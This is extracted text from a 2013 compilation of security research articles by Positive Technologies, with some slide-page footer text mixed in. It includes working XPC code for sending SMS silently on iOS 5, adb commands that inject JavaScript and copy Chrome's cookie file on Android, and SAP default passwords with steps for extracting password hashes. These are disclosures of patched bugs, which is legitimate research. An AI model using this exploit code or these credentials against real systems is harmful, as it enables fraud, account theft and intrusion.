research. In particular, SIMATIC WinCC/WinCC Flexible/TIA Portal and S7 PLC were cov-
ered. The experts considered almost 50 zero-day vulnerabilities and released a check-
list for the configuration of WinCC Flexible 2008 in the course of the report.

Today I'm not going to tell you how the se-
curity system of iOS 5 is organized. We will not
gather bits of information using undocument-
ed features either. We'll just send an SMS from
an application behind the user's back.
There is too little information describing low-
level operations on iOS. These bits do not allow
viewing the picture as a whole. A lot of header
files have closed sources. The majority of steps
are taken blindly. MacOS X, the mobile platform
ancestor, becomes the main experimental field.
One of the systems of inter-process commu-
nication in MacOS is XPC (http://developer.ap-
ple.com/library/mac/documentation/System/
Reference/XPCServicesFW/XPCServicesFW.
pdf). This system layer has been developed for
inter-process communication based on transfer
of plist structures using libSystem and launchd.
In fact, it is an interface that allows managing
processes via the exchange of such structures
as dictionary. Due to heredity, iOS 5 possesses
this mechanism as well.
You might already understand what I mean
by this introduction. Yep, there are system ser-
vices in iOS that include tools for XPC commu-
nication. And I want to exemplify the work with
daemon for SMS sending. However, it should
be mentioned that the vulnerability is fixed in
iOS 6, but is relevant for iOS 5.0—5.1.1. Jailbreak,
Private Framework, and other illegal tools are
not required for its exploitation. Only the set
of header files from the directory /usr/include/
xpc/* is needed.
One of the elements for SMS sending in iOS
is the system service com.apple.chatkit, the
tasks of which include generation, manage-
ment, and sending of short text messages. For
the ease of control, it has the publicly available
communication port com.apple.chatkit.client-
composeserver.xpc. Using the XPC subsystem,
you can generate and send messages without
user's approval.
Well, let's try to create connection.
xpc_connection_t myconnection;
dispatch_queue_t queue = dispatch_
queue_create("com.apple.chatkit.clientcom-
poseserver.xpc", DISPATCH_QUEUE_CONCUR-
RENT);
myconnection = xpc_connection_create_
mach_service("com.apple.chatkit.clientcom-
poseserver.xpc", queue, XPC_CONNECTION_
MACH_SERVICE_PRIVILEGED);
Now we have the XPC connection mycon-
nection to the service of SMS sending. How-
ever, XPC configuration provides for creation of
suspended connections —we need to take one
more step for the activation.
x p c _ c o n n e c t i o n _ s e t _ e v e n t _
handler(myconnection, ^(xpc_object_t event){
xpc_type_t xtype = xpc_get_type(event);
if(XPC_TYPE_ERROR == xtype)
{
NSLog(@"XPC sandbox connection error:
%sn", xpc_dictionary_get_string(event, XPC_
ERROR_KEY_DESCRIPTION));
}
// Always set an event handler. More on this
later.
NSLog(@"Received an message event!");
});
xpc_connection_resume(myconnection);
The connection is activated. Right at this
moment iOS 6 will display a message in the
telephone log that this type of communication
is forbidden. Now we need to generate a dic-
tionary similar to xpc_dictionary with the data
required for the message sending.
NSArray *receipements = [NSArray array-
WithObjects:@"+7 (90*) 000-00-00", nil];
NSData *ser_rec = [NSPropertyListSerializa-
tion dataWithPropertyList:receipements for-
mat:200 options:0 error:NULL];
xpc_object_t mydict = xpc_dictionary_cre-
ate(0, 0, 0);
xpc_dictionary_set_int64(mydict, "message-
type", 0);
xpc_dictionary_set_data(mydict, "recipients",
[ser_rec bytes], [ser_rec length]);
xpc_dictionary_set_string(mydict, "text", "hel-
lo from your application!");
Little is left: send the message to the XPC
port and make sure it is delivered.
x p c _ c o n n e c t i o n _ s e n d _
message(myconnection, mydict);
x p c _ c o n n e c t i o n _ s e n d _
barrier(myconnection, ^{
NSLog(@"Message has been successfully de-
lievered");
});
Sound of SMS sent to a short number.
So prior to elimination of this vulnerability in
iOS 6, any application could send SMS without
user's approval. Apple has provided iOS 6 with
one more security layer, which prevents con-
nections to the service from a sandbox.
Your Flashlight Can Send SMS —
One More Reason to Update up
to iOS 6
Kirill Ermakov / October 24, 2012 / The full version of the article: http://blog.ptsecurity.com/2012/10/your-flashlight-can-send-sms-one-more.html
“Flash Storage Forensics”at TROOPERS
Dmitry Sklyarov, an expert at PositiveTechnologies, delivered his report“Flash Storage
Forensics” at the TROOPERS conference, which took place in Heidelberg (Germany)
in March 2013. The audience learned how to bypass the common methods of stored
data protection.
(2013)
Read more: http://bit.ly/17dC5Qa

In July 2011, Roee Hay and Yair Amit from the
IBM Research Group found the UXSS vulnerabil-
ity in the default Android browser. This bug al-
lows a malicious application to insert JavaScript
code in the context of an arbitrary domain and
stole Cookies or to do some evil things. Anyway,
this bug was fixed in Android 2.3.5.
On June 21, 2012, Google Chrome for An-
droid was released. I’ve found some interesting
bugs there. Just have a look.
UXSS
As expected, the main Chrome activity isn't
affected by this vulnerability. However, let’s view
the AndroidManifest.xml file from Chrome .apk.
You can see that the class com.google.an-
droid.apps.chrome.SimpleChromeActivity can
be called from another application, since it has
the <intent-filter> directive declared.
Decompile classes.dex from apk and look at
the SimpleChromeActivity class.
The onCreate method provided above shows
that a new URL will be loaded in the current tab
without opening a new tab.
Here is a couple of ways to start this activ-
ity — via Android API or Activity Manager. Calls
from Android API are a bit complicated, so I
used "am" command from the adb shell.
shell@android:/ $ am start -n com.android.
chrome/com.google.android.apps.chrome.Sim-
pleChromeActivity -d 'http://www.google.ru'
I think here is a non-security problem with
content displaying. As we can judge by the title,
Chrome loaded www.google.ru in SimpleChro-
meActivity instead of Main, and this activity has
access to the Chrome Cookies database. The
next step is injecting JavaScript code.
chrome/com.google.android.apps.chrome.Sim-
pleChromeActivity -d 'javascript:alert(document.
cookie)'
Voilà, JavaScript has been executed in the
context of the domain www.google.ru.
Credential disclosure
Another problem — automatic file down-
loading — was a real headache for all Chrome-
like browsers. If you opened a binary file in the
Chrome browser, it was downloaded without
your approval to the SDCard directory. The
same thing happened with a default browser,
where this "feature" was used by NonCompat-
ible malware (http://bit.ly/JfcjOS). So you may
ask what it has to do with credential disclosure.
Look at the Chrome directory on the system.
These files (such as Cookies, History, etc) can
be read only by Chrome app. It looks secure. Try
to launch Chrome using the file:// wrapper and
open the Cookies file.
chrome/com.android.chrome.Main -d 'file:///
data/data/com.android.chrome/app_chrome/
Default/Cookies'
When the browser starts, Cookies are down-
loaded/copied to /sdcard/Downloads/Cookies.
bin and can be read by any application of the
system.
I provided detailed information to the Chro-
mium security team, and these bugs were fixed
in version 18.0.1025308.
Links:
http://bit.ly/117jKQY
http://bit.ly/Zx25DV
Google Chrome for Android —
UXSS and Credential Disclosure
Artem Chaikin / November 13, 2012 / The full version of the article: http://blog.ptsecurity.com/2012/10/google-chrome-for-android-uxss-and.html
Elimination of Critical Vulnerabilities in Chrome for Android
Artem Chaikin, an expert of Positive Research Center, detected two critical vulnerabili-
ties in Google Chrome for Android, which would have posed a threat to security of the
major part of the newest smartphones and tablets. Making use of the detected flaw,
an attacker could access all user data in Google Chrome, including history, cookies,
etc. The other vulnerability allowed conducting Universal XSS attacks, which could
lead, for instance, to compromise of user bank accounts and theft of funds. The de-
tected vulnerabilities were promptly eliminated by Google.
(2012)

Introduction
Sometimes, obtaining access to SAP, a secu-
rity analysis specialist has no idea what to do
next and how to demonstrate possible conse-
quences of the detected vulnerabilities.
This article covers methods of obtaining ac-
cess to the production system and data of the
SAP HCM module.
One, two, three, out goes he
We've obtained access to the company's in-
ternal network. How can we find SAP applica-
tions? The most interesting services:
• SAP DIAG - 32xx-3299 TCP;
• SAP RFC - 33xx-3399 TCP;
• ICM HTTP - 80xx TCP;
• Message Server HTTP -81xx;
• HTTP – 5xxxx.
Run Nmap and analyze the scan results.
Obtaining access
Brute Force
Brute Force is a common method of obtain-
ing access. The list of default accounts:
• SAP* — 06071992;
• SAP* — PASS;
• DDIC — 19920706;
• SAPCPIC — ADMIN;
• EARLYWATCH — SUPPORT;
• TMSADM — PASSWORD.
A library for development of applications
working with SAP via the SAP RFC protocol will
be used as an instrument. The library contains
Startrfc.exe, a utility for RFC testing. Try to con-
nect to the detected system using the default
accounts.
If you've managed to guess the password of
the SAP* user, then you only need to connect to
the system through SAPGUI (start saplogon.exe),
and SAP is in your hands.
If default user brute force has failed, then it is
possible to sort out passwords using company's
employee list (obtained from AD, telephone di-
rectories, etc.).
Authentication credential hijacking
If authentication credentials brute force has
failed, there is still a chance to hijack them. One
of the following utilities can be used to hijack
passwords with the help of the DIAG protocol:
• SAP DIAG Decompress plug-in for WireShark;
• SApCap;
• Cain&Abel.
Moreover, RFC can be used to perform hi-
jacking. Mariano Nunez Di Croce described the
RFC protocol vulnerabilities and SAP access
methods in his presentation Attacking the Gi-
ants: Exploiting SAP Internals.
Obtained access analysis
If we know authentication credentials of a
dialog user, then we only need to install the
SAP GUI client and use it to try accessing the
system. In case of a successful access, analyze
the privileges.
There is a HR management module in the
system, which gives us an opportunity to access
the employees' data.
Privilege gaining
If the account has limited rights, it is worth
trying to increase your privileges.
One of the methods to do it is to obtain
password hashes. Tables with password hashes:
USR02, USH02, USRPWDHISTORY. Methods used
to obtain the data:
• transactions SE16, SE16N, SE17, which
provide access to the SAP tables;
• transaction ST04/SQL Command Editor;
• RFC protocol;
• database level;
• obtaining data from the OS file.
Use SAPGUI, MIL Read Table, VBS, and SQLp-
lus as instruments. If we know user authentica-
tion credentials, we can connect to SAP and ob-
tain password hashes by means of reading the
USR02 table with transaction SE16 (if we have
an access to it).
John the Ripper 1.7.9-jumbo-5 can be used
for hash value brute force, as it comprises analy-
sis of password hash generation algorithms
of SAP systems (type B and F). You'll also need
password dictionaries (for example, paid down-
TECHNIQUES
Finish up with SAP. From a user's
password to a top manager's
salary
Evgeniya Shumakher / May 2012 / The full version of the article: http://blog.ptsecurity.com/search/label/Best%20of%20Positive%20Research
Establishing an additional payment type for an employee via transaction PA30 infotype 0008

Best of Positive Research 2013

Best of Positive Research 2013

Recommandé

Recommandé

Contenu connexe

Tendances

Tendances (20)

En vedette

En vedette (7)

Similaire à Best of Positive Research 2013

Similaire à Best of Positive Research 2013 (20)

Plus de qqlan

Plus de qqlan (20)

Best of Positive Research 2013